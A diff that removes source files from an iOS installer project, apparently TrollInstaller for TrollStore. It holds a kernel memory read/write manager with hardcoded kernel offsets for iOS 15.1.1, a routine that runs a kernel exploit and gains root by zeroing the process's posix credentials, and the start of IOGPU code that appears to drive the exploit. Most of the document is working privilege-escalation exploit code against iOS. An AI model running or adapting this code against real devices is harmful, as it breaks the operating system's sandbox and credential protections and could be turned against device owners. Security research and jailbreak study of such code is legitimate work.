@property (nonatomic) struct StructOffsets struct_offsets;
|
||||
|
||||
- (void)loadOffsets;
|
||||
- (void)_loadSlidOffsets;
|
||||
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide;
|
||||
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base;
|
||||
|
||||
+ (instancetype)sharedInstance;
|
||||
|
||||
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr;
|
||||
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr;
|
||||
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len;
|
||||
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize;
|
||||
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len;
|
||||
|
||||
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr;
|
||||
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr;
|
||||
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr;
|
||||
|
||||
- (void)finishAndCleanupIfNeeded;
|
||||
@end
|
||||
|
||||
NS_ASSUME_NONNULL_END
|
|
@ -1,438 +0,0 @@
|
|||
//
|
||||
// KernelManager.m
|
||||
// NonceSet15
|
||||
//
|
||||
// Created by Lars Fröder on 02.06.22.
|
||||
//
|
||||
|
||||
#import "KernelManager.h"
|
||||
|
||||
@implementation KernelManager
|
||||
|
||||
+ (instancetype)sharedInstance
|
||||
{
|
||||
static KernelManager *sharedInstance = nil;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
sharedInstance = [[KernelManager alloc] init];
|
||||
});
|
||||
return sharedInstance;
|
||||
}
|
||||
|
||||
- (void)loadOffsets
|
||||
{
|
||||
struct StaticOffsets staticOffsets;
|
||||
// iPhone 13 Pro, 15.1.1
|
||||
staticOffsets.kernel_base = 0xFFFFFFF007004000;
|
||||
staticOffsets.sandbox_secret = 0xFFFFFFF009DF2140;
|
||||
staticOffsets.allproc = 0xFFFFFFF009D86AA0;
|
||||
staticOffsets.kauth_cred_table_anchor = 0xFFFFFFF009DE0988;
|
||||
staticOffsets.cs_debug = 0xFFFFFFF009D86990;
|
||||
|
||||
self.static_offsets = staticOffsets;
|
||||
|
||||
struct ProcOffsets proc;
|
||||
proc.task_offset = 0x10;
|
||||
proc.pid_offset = 0x68;
|
||||
proc.comm_offset = 0x2C8;
|
||||
proc.name_offset = 0x2D9;
|
||||
proc.ucred_offset = 0xD8;
|
||||
proc.textvp_offset = 0x2A8;
|
||||
proc.textoff_offset = 0x2B0;
|
||||
proc.csflags_offset = 0x300;
|
||||
proc.fd_offset = 0xE0;
|
||||
|
||||
struct UCredOffsets ucred;
|
||||
ucred.posix_offset = 0x18;
|
||||
ucred.label_offset = 0x78;
|
||||
ucred.audit_offset = 0x80;
|
||||
|
||||
struct TaskOffsets task;
|
||||
task.map_offset = 0x28;
|
||||
task.threads_offset = 0x58;
|
||||
task.itk_space_offset = 0x330;
|
||||
task.rop_pid_offset = 0x360;
|
||||
task.jop_pid_offset = 0x368;
|
||||
task.disable_user_jop_offset = 0x370;
|
||||
task.t_flags_offset = 0x41C;
|
||||
|
||||
struct ThreadOffsets thread;
|
||||
thread.task_threads_offset = 0x400;
|
||||
thread.disable_user_jop_offset = 0x167;
|
||||
thread.rop_pid_offset = 0x168;
|
||||
thread.jop_pid_offset = 0x170;
|
||||
|
||||
struct ItkSpaceOffsets itk_space;
|
||||
itk_space.is_table_offset = 0x20;
|
||||
|
||||
struct IpcEntryOffsets ipc_entry;
|
||||
ipc_entry.size = 0x18;
|
||||
|
||||
struct FileDescriptorOffsets fd;
|
||||
fd.ofiles_offset = 0x20; // proc + 256
|
||||
// numfiles: 0xC, proc + 244
|
||||
// fd_ofileflags: proc + 264
|
||||
|
||||
struct FileProcOffsets fproc;
|
||||
fproc.glob_offset = 0x10;
|
||||
|
||||
struct FileGlobOffsets fglob;
|
||||
fglob.data_offset = 0x38;
|
||||
|
||||
struct VnodeOffsets vnode;
|
||||
vnode.un_offset.ubcinfo = 0x78;
|
||||
vnode.type_offset = 0x70;
|
||||
vnode.flag_offset = 0x54;
|
||||
|
||||
struct UbcInfoOffsets ubc_info;
|
||||
ubc_info.csblobs_offset = 0x50;
|
||||
|
||||
struct CsBlobOffsets csblob;
|
||||
csblob.team_id_offset = 0x80;
|
||||
csblob.platform_binary_offset = 0xB8;
|
||||
csblob.pmap_cs_entry_offset = 0xC0;
|
||||
|
||||
struct VmMapOffsets vmmap;
|
||||
vmmap.header_offset = 0x10;
|
||||
vmmap.pmap_offset = 0x48;
|
||||
vmmap.flag_offset = 0x11C;
|
||||
|
||||
struct VmHeaderOffsets vmheader;
|
||||
vmheader.links_offset = 0x0;
|
||||
vmheader.numentry_offset = 0x20;
|
||||
|
||||
struct VmMapLinkOffsets vmlink;
|
||||
vmlink.prev_offset = 0x0;
|
||||
vmlink.next_offset = 0x8;
|
||||
|
||||
struct VmMapEntryOffsets vmentry;
|
||||
vmentry.links_offset = 0x0;
|
||||
vmentry.flag_bits_offset = 0x48;
|
||||
|
||||
|
||||
// vm header:
|
||||
// links: 0x00
|
||||
// nentries: 0x20
|
||||
// ..
|
||||
|
||||
struct CsDirEntryOffsets csdirentry;
|
||||
csdirentry.trust_level_offset = 0x9C;
|
||||
|
||||
struct StructOffsets structOffsets;
|
||||
structOffsets.proc = proc;
|
||||
structOffsets.ucred = ucred;
|
||||
structOffsets.task = task;
|
||||
structOffsets.thread = thread;
|
||||
structOffsets.itk_space = itk_space;
|
||||
structOffsets.ipc_entry = ipc_entry;
|
||||
structOffsets.fd = fd;
|
||||
structOffsets.fproc = fproc;
|
||||
structOffsets.fglob = fglob;
|
||||
structOffsets.vnode = vnode;
|
||||
structOffsets.ubc_info = ubc_info;
|
||||
structOffsets.csblob = csblob;
|
||||
structOffsets.vmmap = vmmap;
|
||||
structOffsets.csdirentry = csdirentry;
|
||||
structOffsets.vmheader = vmheader;
|
||||
structOffsets.vmlink = vmlink;
|
||||
structOffsets.vmentry = vmentry;
|
||||
|
||||
self.struct_offsets = structOffsets;
|
||||
}
|
||||
|
||||
- (void)_loadSlidOffsets
|
||||
{
|
||||
struct SlidOffsets slidOffsets;
|
||||
slidOffsets.sandbox_secret = _static_offsets.sandbox_secret + self.kernel_slide;
|
||||
slidOffsets.allproc = _static_offsets.allproc + self.kernel_slide;
|
||||
slidOffsets.kauth_cred_table_anchor = _static_offsets.kauth_cred_table_anchor + self.kernel_slide;
|
||||
slidOffsets.cs_debug = _static_offsets.cs_debug + self.kernel_slide;
|
||||
self.slid_offsets = slidOffsets;
|
||||
}
|
||||
|
||||
- (void)loadSlidOffsetsWithKernelSlide:(uint64_t)kernel_slide
|
||||
{
|
||||
self.kernel_base = self.static_offsets.kernel_base + kernel_slide;
|
||||
self.kernel_slide = kernel_slide;
|
||||
[self _loadSlidOffsets];
|
||||
}
|
||||
|
||||
- (void)loadSlidOffsetsWithKernelBase:(uint64_t)kernel_base
|
||||
{
|
||||
self.kernel_base = kernel_base;
|
||||
self.kernel_slide = kernel_base - self.static_offsets.kernel_base;
|
||||
[self _loadSlidOffsets];
|
||||
}
|
||||
|
||||
- (uint64_t)read64BitValueAtAddress:(uint64_t)addr
|
||||
{
|
||||
if(_kread_64_d)
|
||||
{
|
||||
return _kread_64_d(addr);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint64_t outInt = 0;
|
||||
int suc = 0;
|
||||
|
||||
if(_kread_64_id)
|
||||
{
|
||||
_kread_64_id(addr, &outInt);
|
||||
}
|
||||
else if(_kread_64_id_ret)
|
||||
{
|
||||
suc = _kread_64_id_ret(addr, &outInt);
|
||||
}
|
||||
else if(_kread64_block)
|
||||
{
|
||||
suc = _kread64_block(addr, &outInt);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint8_t* b = (uint8_t*)&outInt;
|
||||
*(uint32_t *)b = [self read32BitValueAtAddress:addr];
|
||||
*(uint32_t *)(b + 4) = [self read32BitValueAtAddress:addr + 4];
|
||||
}
|
||||
|
||||
if(suc != 0)
|
||||
{
|
||||
NSLog(@"ERROR reading kernel memory (%llX): %d", addr, suc);
|
||||
}
|
||||
|
||||
return outInt;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
- (uint32_t)read32BitValueAtAddress:(uint64_t)addr
|
||||
{
|
||||
if(_kread_32_d)
|
||||
{
|
||||
return _kread_32_d(addr);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint32_t outInt = 0;
|
||||
int suc = 0;
|
||||
if(_kread_32_id)
|
||||
{
|
||||
_kread_32_id(addr, &outInt);
|
||||
}
|
||||
else if(_kread_32_id_ret)
|
||||
{
|
||||
suc = _kread_32_id_ret(addr, &outInt);
|
||||
}
|
||||
else if(_kread32_block)
|
||||
{
|
||||
suc = _kread32_block(addr, &outInt);
|
||||
}
|
||||
if(suc != 0)
|
||||
{
|
||||
NSLog(@"ERROR read kernel memory (%llX): %d", addr, suc);
|
||||
}
|
||||
return outInt;
|
||||
}
|
||||
}
|
||||
|
||||
- (int)readBufferAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withLength:(size_t)len
|
||||
{
|
||||
//printf("read at %llX - %lX\n", addr, len);
|
||||
//usleep(50);
|
||||
|
||||
if(_kread_buf)
|
||||
{
|
||||
return _kread_buf(addr, outBuf, len);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint64_t endAddr = addr + len;
|
||||
uint32_t outputOffset = 0;
|
||||
unsigned char* outputBytes = (unsigned char*)outBuf;
|
||||
|
||||
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
|
||||
{
|
||||
//printf("read %llX\n", curAddr);
|
||||
//usleep(1000);
|
||||
uint32_t k = [self read32BitValueAtAddress:curAddr];
|
||||
|
||||
unsigned char* kb = (unsigned char*)&k;
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
if(outputOffset == len) break;
|
||||
outputBytes[outputOffset] = kb[i];
|
||||
outputOffset++;
|
||||
}
|
||||
if(outputOffset == len) break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
- (int)copyStringAtAddress:(uint64_t)addr intoBuffer:(void*)outBuf withBufferSize:(size_t)bufSize
|
||||
{
|
||||
bzero(outBuf, bufSize);
|
||||
char* outBufStr = (char*)outBuf;
|
||||
|
||||
uint64_t maxEndAddr = addr + bufSize;
|
||||
int ci = 0;
|
||||
|
||||
for(uint64_t curAddr = addr; curAddr < maxEndAddr; curAddr += 4)
|
||||
{
|
||||
uint32_t k = [self read32BitValueAtAddress:curAddr];
|
||||
char* kb = (char*)&k;
|
||||
for(int i = 0; i < 4; i++)
|
||||
{
|
||||
char c = kb[i];
|
||||
if(c == '\0') return 0;
|
||||
outBufStr[ci] = c;
|
||||
ci++;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void DumpHex(const void* data, size_t size) {
|
||||
char ascii[17];
|
||||
size_t i, j;
|
||||
ascii[16] = '\0';
|
||||
for (i = 0; i < size; ++i) {
|
||||
if(i % 16 == 0)
|
||||
{
|
||||
printf("0x%zX | ", i);
|
||||
}
|
||||
printf("%02X ", ((unsigned char*)data)[i]);
|
||||
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
|
||||
ascii[i % 16] = ((unsigned char*)data)[i];
|
||||
} else {
|
||||
ascii[i % 16] = '.';
|
||||
}
|
||||
if ((i+1) % 8 == 0 || i+1 == size) {
|
||||
printf(" ");
|
||||
if ((i+1) % 16 == 0) {
|
||||
printf("| %s \n", ascii);
|
||||
} else if (i+1 == size) {
|
||||
ascii[(i+1) % 16] = '\0';
|
||||
if ((i+1) % 16 <= 8) {
|
||||
printf(" ");
|
||||
}
|
||||
for (j = (i+1) % 16; j < 16; ++j) {
|
||||
printf(" ");
|
||||
}
|
||||
printf("| %s \n", ascii);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
- (int)dumpHexAtAddress:(uint64_t)addr withLength:(size_t)len
|
||||
{
|
||||
void* buffer = malloc(len);
|
||||
int ret = [self readBufferAtAddress:addr intoBuffer:buffer withLength:len];
|
||||
if(ret == 0)
|
||||
{
|
||||
DumpHex(buffer, len);
|
||||
}
|
||||
free(buffer);
|
||||
return ret;
|
||||
}
|
||||
|
||||
- (int)write64BitValue:(uint64_t)value toAddress:(uint64_t)addr
|
||||
{
|
||||
if(_kwrite_64)
|
||||
{
|
||||
_kwrite_64(addr, value);
|
||||
}
|
||||
else if(_kwrite_64_ret)
|
||||
{
|
||||
return _kwrite_64_ret(addr, value);
|
||||
}
|
||||
else if(_kwrite64_block)
|
||||
{
|
||||
return _kwrite64_block(addr, value);
|
||||
}
|
||||
else
|
||||
{
|
||||
int r1 = [self write32BitValue:(uint32_t)value toAddress:addr];
|
||||
int r2 = [self write32BitValue:(uint32_t)(value >> 32) toAddress:addr + 4];
|
||||
return r1 || r2;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
- (int)write32BitValue:(uint32_t)value toAddress:(uint64_t)addr
|
||||
{
|
||||
if(_kwrite_32)
|
||||
{
|
||||
_kwrite_32(addr, value);
|
||||
}
|
||||
else if(_kwrite_32_ret)
|
||||
{
|
||||
return _kwrite_32_ret(addr, value);
|
||||
}
|
||||
else if(_kwrite32_block)
|
||||
{
|
||||
return _kwrite32_block(addr, value);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
- (int)writeBuffer:(void*)inBuf withLength:(size_t)len toAddress:(uint64_t)addr
|
||||
{
|
||||
//printf("write to %llX - %lX\n", addr, len);
|
||||
//usleep(50);
|
||||
|
||||
if(_kwrite_buf)
|
||||
{
|
||||
return _kwrite_buf(addr, inBuf, len);
|
||||
}
|
||||
else
|
||||
{
|
||||
uint64_t endAddr = addr + len;
|
||||
uint32_t inputOffset = 0;
|
||||
unsigned char* inputBytes = (unsigned char*)inBuf;
|
||||
|
||||
for(uint64_t curAddr = addr; curAddr < endAddr; curAddr += 4)
|
||||
{
|
||||
uint32_t toWrite = 0;
|
||||
int bc = 4;
|
||||
|
||||
uint64_t remainingBytes = endAddr - curAddr;
|
||||
if(remainingBytes < 4)
|
||||
{
|
||||
toWrite = [self read32BitValueAtAddress:curAddr];
|
||||
bc = (int)remainingBytes;
|
||||
}
|
||||
|
||||
unsigned char* wb = (unsigned char*)&toWrite;
|
||||
for(int i = 0; i < bc; i++)
|
||||
{
|
||||
wb[i] = inputBytes[inputOffset];
|
||||
inputOffset++;
|
||||
}
|
||||
|
||||
//printf("write %X to %llX\n", toWrite, curAddr);
|
||||
//usleep(1000);
|
||||
|
||||
[self write32BitValue:toWrite toAddress:curAddr];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
- (void)finishAndCleanupIfNeeded
|
||||
{
|
||||
if(_kcleanup)
|
||||
{
|
||||
_kcleanup();
|
||||
}
|
||||
}
|
||||
|
||||
- (void)dealloc
|
||||
{
|
||||
[self finishAndCleanupIfNeeded];
|
||||
}
|
||||
|
||||
@end
|
|
@ -1,15 +0,0 @@
|
|||
//
|
||||
// SceneDelegate.h
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface SceneDelegate : UIResponder <UIWindowSceneDelegate>
|
||||
|
||||
@property (strong, nonatomic) UIWindow * window;
|
||||
|
||||
@end
|
||||
|
|
@ -1,57 +0,0 @@
|
|||
//
|
||||
// SceneDelegate.m
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import "SceneDelegate.h"
|
||||
|
||||
@interface SceneDelegate ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation SceneDelegate
|
||||
|
||||
|
||||
- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions {
|
||||
// Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`.
|
||||
// If using a storyboard, the `window` property will automatically be initialized and attached to the scene.
|
||||
// This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead).
|
||||
}
|
||||
|
||||
|
||||
- (void)sceneDidDisconnect:(UIScene *)scene {
|
||||
// Called as the scene is being released by the system.
|
||||
// This occurs shortly after the scene enters the background, or when its session is discarded.
|
||||
// Release any resources associated with this scene that can be re-created the next time the scene connects.
|
||||
// The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead).
|
||||
}
|
||||
|
||||
|
||||
- (void)sceneDidBecomeActive:(UIScene *)scene {
|
||||
// Called when the scene has moved from an inactive state to an active state.
|
||||
// Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive.
|
||||
}
|
||||
|
||||
|
||||
- (void)sceneWillResignActive:(UIScene *)scene {
|
||||
// Called when the scene will move from an active state to an inactive state.
|
||||
// This may occur due to temporary interruptions (ex. an incoming phone call).
|
||||
}
|
||||
|
||||
|
||||
- (void)sceneWillEnterForeground:(UIScene *)scene {
|
||||
// Called as the scene transitions from the background to the foreground.
|
||||
// Use this method to undo the changes made on entering the background.
|
||||
}
|
||||
|
||||
|
||||
- (void)sceneDidEnterBackground:(UIScene *)scene {
|
||||
// Called as the scene transitions from the foreground to the background.
|
||||
// Use this method to save data, release shared resources, and store enough scene-specific state information
|
||||
// to restore the scene back to its current state.
|
||||
}
|
||||
|
||||
|
||||
@end
|
|
@ -1,14 +0,0 @@
|
|||
//
|
||||
// ViewController.h
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface ViewController : UIViewController
|
||||
|
||||
|
||||
@end
|
||||
|
|
@ -1,288 +0,0 @@
|
|||
//
|
||||
// ViewController.m
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import "ViewController.h"
|
||||
#import "kutil.h"
|
||||
#import "exploit/exploit.h"
|
||||
#import "exploit/kernel_rw.h"
|
||||
#import "KernelManager.h"
|
||||
#import "unarchive.h"
|
||||
#import <spawn.h>
|
||||
#import <sys/stat.h>
|
||||
|
||||
extern uint64_t g_self_proc;
|
||||
|
||||
void badLog(const char* a, ...)
|
||||
{
|
||||
va_list va;
|
||||
va_start(va, a);
|
||||
NSString* af = [NSString stringWithUTF8String:a];
|
||||
NSString* msg = [[NSString alloc] initWithFormat:af arguments:va];
|
||||
va_end(va);
|
||||
NSLog(@"%@",msg);
|
||||
return;
|
||||
}
|
||||
|
||||
NSString* getNSStringFromFile(int fd)
|
||||
{
|
||||
NSMutableString* ms = [NSMutableString new];
|
||||
ssize_t num_read;
|
||||
char c;
|
||||
while((num_read = read(fd, &c, sizeof(c))))
|
||||
{
|
||||
[ms appendString:[NSString stringWithFormat:@"%c", c]];
|
||||
}
|
||||
return ms.copy;
|
||||
}
|
||||
|
||||
int runBinary(NSString* path, NSArray* args, NSString** output)
|
||||
{
|
||||
NSMutableArray* argsM = args.mutableCopy;
|
||||
[argsM insertObject:path.lastPathComponent atIndex:0];
|
||||
|
||||
NSUInteger argCount = [argsM count];
|
||||
char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));
|
||||
|
||||
for (NSUInteger i = 0; i < argCount; i++)
|
||||
{
|
||||
argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);
|
||||
}
|
||||
argsC[argCount] = NULL;
|
||||
|
||||
posix_spawn_file_actions_t action;
|
||||
posix_spawn_file_actions_init(&action);
|
||||
|
||||
int out[2];
|
||||
pipe(out);
|
||||
posix_spawn_file_actions_adddup2(&action, out[1], STDERR_FILENO);
|
||||
posix_spawn_file_actions_addclose(&action, out[0]);
|
||||
|
||||
pid_t task_pid;
|
||||
int status = 0;
|
||||
int spawnError = posix_spawn(&task_pid, [path UTF8String], &action, NULL, (char* const*)argsC, NULL);
|
||||
for (NSUInteger i = 0; i < argCount; i++)
|
||||
{
|
||||
free(argsC[i]);
|
||||
}
|
||||
free(argsC);
|
||||
|
||||
if(spawnError != 0)
|
||||
{
|
||||
NSLog(@"posix_spawn error %d\n", spawnError);
|
||||
return spawnError;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
if (waitpid(task_pid, &status, 0) != -1) {
|
||||
//printf("Child status %dn", WEXITSTATUS(status));
|
||||
} else
|
||||
{
|
||||
perror("waitpid");
|
||||
return -222;
|
||||
}
|
||||
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
|
||||
|
||||
close(out[1]);
|
||||
|
||||
if(output)
|
||||
{
|
||||
*output = getNSStringFromFile(out[0]);
|
||||
}
|
||||
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
|
||||
// Get root, credit: @xina520
|
||||
|
||||
struct k_posix_cred backup_cred;
|
||||
int backup_groupSize;
|
||||
gid_t backup_groupList[200];
|
||||
|
||||
int getRoot(void)
|
||||
{
|
||||
NSLog(@"attempting to get root...\n");
|
||||
usleep(1000);
|
||||
|
||||
backup_groupSize = getgroups(200, &backup_groupList[0]);
|
||||
|
||||
backup_cred = proc_get_posix_cred(g_self_proc);
|
||||
|
||||
struct k_posix_cred zero_cred = {0};
|
||||
NSLog(@"setting posix cred to zero cred...\n");
|
||||
usleep(1000);
|
||||
proc_set_posix_cred(g_self_proc, zero_cred);
|
||||
|
||||
int err = setgroups(0,0);
|
||||
if(err)
|
||||
{
|
||||
NSLog(@"setgroups error %d\n", err);
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
int uid = getuid();
|
||||
NSLog(@"getuid => %d\n", uid);
|
||||
usleep(1000);
|
||||
|
||||
return uid;
|
||||
}
|
||||
|
||||
int dropRoot(void)
|
||||
{
|
||||
if(getuid() != 0) return getuid();
|
||||
|
||||
printf("attempting to drop root...\n");
|
||||
usleep(1000);
|
||||
|
||||
int err = setgroups(backup_groupSize,backup_groupList);
|
||||
if(err)
|
||||
{
|
||||
printf("setgroups error %d\n", err);
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
proc_set_posix_cred(g_self_proc, backup_cred);
|
||||
|
||||
int uid = getuid();
|
||||
printf("dropped root??? uid: %d\n", uid);
|
||||
return uid;
|
||||
}
|
||||
|
||||
@interface ViewController ()
|
||||
@property (weak, nonatomic) IBOutlet UILabel *statusLabel;
|
||||
@end
|
||||
|
||||
@implementation ViewController
|
||||
|
||||
- (void)viewDidLoad {
|
||||
[super viewDidLoad];
|
||||
// Do any additional setup after loading the view.
|
||||
}
|
||||
|
||||
- (void)updateStatus:(NSString*)status
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
self.statusLabel.text = status;
|
||||
});
|
||||
}
|
||||
|
||||
int writeRemountPrivatePreboot(void)
|
||||
{
|
||||
return runBinary(@"/sbin/mount", @[@"-u", @"-w", @"/private/preboot"], nil);
|
||||
}
|
||||
|
||||
- (void)doInstallation
|
||||
{
|
||||
NSLog(@"TrollStore out here, exploitation starting!");
|
||||
usleep(1000);
|
||||
|
||||
[self updateStatus:@"Exploiting..."];
|
||||
|
||||
// Run kernel exploit
|
||||
uint64_t kernel_base;
|
||||
if(exploit_get_krw_and_kernel_base(&kernel_base) != 0)
|
||||
{
|
||||
[self updateStatus:@"Exploit failed :("];
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize KernelManager
|
||||
KernelManager* km = [KernelManager sharedInstance];
|
||||
[km loadOffsets];
|
||||
[km loadSlidOffsetsWithKernelBase:kernel_base];
|
||||
km.kread_32_d = kread32;
|
||||
km.kread_64_d = kread64;
|
||||
km.kwrite_32 = kwrite32;
|
||||
km.kwrite_64 = kwrite64;
|
||||
km.kcleanup = exploitation_cleanup;
|
||||
|
||||
NSLog(@"Exploitation finished, post exploit stuff next!");
|
||||
usleep(1000);
|
||||
|
||||
[self updateStatus:@"Getting root..."];
|
||||
|
||||
// Get root
|
||||
getRoot();
|
||||
|
||||
[self updateStatus:@"Installing..."];
|
||||
|
||||
writeRemountPrivatePreboot();
|
||||
|
||||
NSString* tmpDir = @"/private/preboot/tmp";
|
||||
|
||||
[[NSFileManager defaultManager] createDirectoryAtPath:tmpDir withIntermediateDirectories:NO attributes:nil error:nil];
|
||||
|
||||
NSString* tsTarPath = [NSBundle.mainBundle.bundlePath stringByAppendingPathComponent:@"TrollStore.tar"];
|
||||
|
||||
extract(tsTarPath, tmpDir);
|
||||
|
||||
NSString* helperPath = [tmpDir stringByAppendingPathComponent:@"TrollStore.app/trollstorehelper"];
|
||||
|
||||
chmod(helperPath.UTF8String, 0755);
|
||||
chown(helperPath.UTF8String, 0, 0);
|
||||
|
||||
NSString* helperOutput;
|
||||
int ret = runBinary(helperPath, @[@"install-trollstore", tsTarPath], &helperOutput);
|
||||
|
||||
[self updateStatus:@"Cleaning up..."];
|
||||
|
||||
[[NSFileManager defaultManager] removeItemAtPath:tmpDir error:nil];
|
||||
|
||||
// Clean everything up so the kernel doesn't panic when the app exits
|
||||
dropRoot();
|
||||
[km finishAndCleanupIfNeeded];
|
||||
|
||||
[self updateStatus:@"Done!"];
|
||||
|
||||
NSLog(@"%@", helperOutput);
|
||||
|
||||
// Print installed message
|
||||
if(ret == 0)
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Installed TrollStore" message:@"TrollStore was installed and can now be accessed from your home screen, you can uninstall the installer application now. Some devices suffer from a bug where newly installed applications don't immediately show up, in that case reboot and TrollStore should show up." preferredStyle:UIAlertControllerStyleAlert];
|
||||
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
exit(0);
|
||||
}];
|
||||
|
||||
[installedAlertController addAction:closeAction];
|
||||
|
||||
[self presentViewController:installedAlertController animated:YES completion:nil];
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
UIAlertController* installedAlertController = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Failed to install TrollStore. trollstore helper exited with code %d. Output:\n:%@", ret, helperOutput ?: @"<none>"] preferredStyle:UIAlertControllerStyleAlert];
|
||||
|
||||
UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
exit(0);
|
||||
}];
|
||||
|
||||
UIAlertAction* copyAction = [UIAlertAction actionWithTitle:@"Copy Output" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
|
||||
pasteboard.string = helperOutput;
|
||||
exit(0);
|
||||
}];
|
||||
|
||||
[installedAlertController addAction:closeAction];
|
||||
[installedAlertController addAction:copyAction];
|
||||
|
||||
[self presentViewController:installedAlertController animated:YES completion:nil];
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
- (IBAction)installButtonPressed:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
|
||||
[self doInstallation];
|
||||
});
|
||||
}
|
||||
|
||||
@end
|
|
@ -1,82 +0,0 @@
|
|||
#include "IOGPU.h"
|
||||
|
||||
#include <sys/utsname.h>
|
||||
|
||||
io_connect_t IOGPU_init(void)
|
||||
{
|
||||
mach_port_t mp = MACH_PORT_NULL;
|
||||
kern_return_t IOMasterPort(mach_port_t, mach_port_t *);
|
||||
IOMasterPort(MACH_PORT_NULL, &mp);
|
||||
io_connect_t uc;
|
||||
|
||||
io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching("AGXAccelerator"));
|
||||
if (s == MACH_PORT_NULL)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (IOServiceOpen(s, mach_task_self(), 1, &uc) != KERN_SUCCESS)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return uc;
|
||||
}
|
||||
|
||||
void IOGPU_exit(io_connect_t uc)
|
||||
{
|
||||
IOServiceClose(uc);
|
||||
}
|
||||
|
||||
uint32_t IOGPU_create_command_queue(io_connect_t uc, uint64_t member)
|
||||
{
|
||||
uint64_t outStructCnt = 0x10;
|
||||
uint32_t inStructCnt = 0x408;
|
||||
uint8_t inStruct[0x408] = {0};
|
||||
uint8_t outStruct[0x10] = {0};
|
||||
|
||||
// avoid null termination
|
||||
memset(inStruct, 0x01, 0x30);
|
||||
*(uint64_t *)(inStruct + 0x30) = member;
|
||||
|
||||
kern_return_t kr = IOConnectCallStructMethod(uc, 7, inStruct, inStructCnt, outStruct, (size_t *)&outStructCnt);
|
||||
|
||||
if (kr)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int IOGPU_get_command_queue_extra_refills_needed(void)
|
||||
{
|
||||
struct utsname u;
|
||||
uname(&u);
|
||||
|
||||
if (
|
||||
strstr(u.machine, "iPod9,") // iPod Touch 7
|
||||
|| strstr(u.machine, "iPhone9,") // iPhone 7
|
||||
|| strstr(u.machine, "iPhone12,") // iPhone 11 & SE 2
|
||||
|| strstr(u.machine, "iPhone13,") // iPhone 12
|
||||
|| strstr(u.machine, "iPhone14,") // iPhone 13 & SE 3
|
||||
